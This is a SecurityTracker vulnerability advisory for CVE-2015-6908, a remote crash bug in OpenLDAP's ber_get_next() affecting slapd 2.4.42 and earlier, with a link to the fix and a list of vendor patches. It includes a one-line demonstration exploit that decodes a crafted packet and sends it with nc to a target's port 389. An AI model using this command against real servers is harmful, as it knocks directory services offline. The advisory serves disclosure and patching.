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Category:   Application (Directory)  >   OpenLDAP Vendors:   OpenLDAP.org
OpenLDAP Bug in ber_get_next() Lets Remote Users Cause the Target Service to Crash
SecurityTracker Alert ID:  1033534
SecurityTracker URL:  http://securitytracker.com/id/1033534
CVE Reference:   CVE-2015-6908   (Links to External Site)
Updated:  Sep 11 2015
Original Entry Date:  Sep 10 2015
Impact:   Denial of service via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 2.4.42 and prior
Description:   A vulnerability was reported in OpenLDAP. A remote user can cause the target service to crash.

A remote user can send a specially crafted packet to cause the target slapd service to crash.

A demonstration exploit command is provided:

echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v [target] 389

The original advisory is available at:

http://www.security-assessment.com/files/documents/advisory/OpenLDAP-ber_get_next-Denial-of-Service.pdf

Denis Andzakovic of Security-Assessment.com reported this vulnerability.

Impact:   A remote user can cause the target LDAP service to crash.
Solution:   The vendor has issued a source code fix, available at:

http://www.openldap.org/devel/gitweb.cgi?p=openldap.git;a=commit;h=6fe51a9ab04fd28bbc171da3cf12f1c1040d6629

Vendor URL:  www.openldap.org/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   This archive entry has one or more follow-up message(s) listed below.
Sep 16 2015 (Ubuntu Issues Fix) OpenLDAP Bug in ber_get_next() Lets Remote Users Cause the Target Service to Crash
Ubuntu has issued a fix for Ubuntu Linux 12.04 LTS, 14.04 LTS, and 15.04.
Sep 29 2015 (Red Hat Issues Fix) OpenLDAP Bug in ber_get_next() Lets Remote Users Cause the Target Service to Crash
Red Hat has issued a fix for Red Hat Enterprise Linux 5, 6, and 7.
Sep 30 2015 (Oracle Issues Fix for Oracle Linux) OpenLDAP Bug in ber_get_next() Lets Remote Users Cause the Target Service to Crash
Oracle has issued a fix for Oracle Linux 5, 6, and 7.
Sep 30 2015 (CentOS Issues Fix) OpenLDAP Bug in ber_get_next() Lets Remote Users Cause the Target Service to Crash
CentOS has issued a fix for CentOS Linux 5, 6, and 7.
Dec 8 2015 (Apple Issues Fix for Apple OS X) OpenLDAP Bug in ber_get_next() Lets Remote Users Cause the Target Service to Crash
Apple has issued a fix for Apple OS X.
Aug 1 2018 (IBM Issues Fix for IBM Security Access Manager) OpenLDAP Bug in ber_get_next() Lets Remote Users Cause the Target Service to Crash
IBM has issued a fix for IBM Security Access Manager.



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